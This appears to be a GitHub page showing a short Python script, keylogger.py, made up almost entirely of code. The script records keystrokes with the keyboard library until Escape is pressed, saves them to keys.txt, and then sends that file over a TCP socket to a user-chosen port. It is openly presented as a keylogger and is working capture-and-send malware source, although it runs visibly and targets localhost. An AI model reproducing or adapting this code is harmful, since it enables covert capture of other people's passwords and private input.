-
Notifications
You must be signed in to change notification settings - Fork 0
/
keylogger.py
60 lines (47 loc) · 1.82 KB
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import keyboard
import socket
import threading
import os
def send_keys_to_server(port):
"""Send recorded keys to the specified listening port."""
server_address = ('localhost', port)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
try:
sock.connect(server_address)
print(f"Connected to server on port {port}. Sending keys...")
with open("keys.txt", "r") as file:
data = file.read()
sock.sendall(data.encode())
print("Keys sent successfully.")
except Exception as e:
print(f"Could not connect to server: {e}")
def keylogger():
"""Record keystrokes to a file."""
FILE_NAME = "keys.txt"
# Clear previous logs if they exist
if os.path.exists(FILE_NAME):
os.remove(FILE_NAME)
print("Keylogger started. Press ESC to stop.")
with open(FILE_NAME, "a") as output:
keyboard.start_recording()
keyboard.wait('esc') # Stop on pressing ESC
recorded_events = keyboard.stop_recording()
for event in recorded_events:
if event.event_type == keyboard.KEY_DOWN: # Log only key down events
output.write(event.name + '\n')
print(f"Keys logged in {FILE_NAME}")
return FILE_NAME
def main():
"""Main function to run the keylogger."""
port = int(input("Enter the listening port: "))
keylogger_thread = threading.Thread(target=keylogger)
sender_thread = threading.Thread(target=send_keys_to_server, args=(port,))
keylogger_thread.start()
keylogger_thread.join() # Wait for keylogger to finish
# Send keys after the logging is complete
sender_thread.start()
sender_thread.join()
if __name__ == "__main__":
main()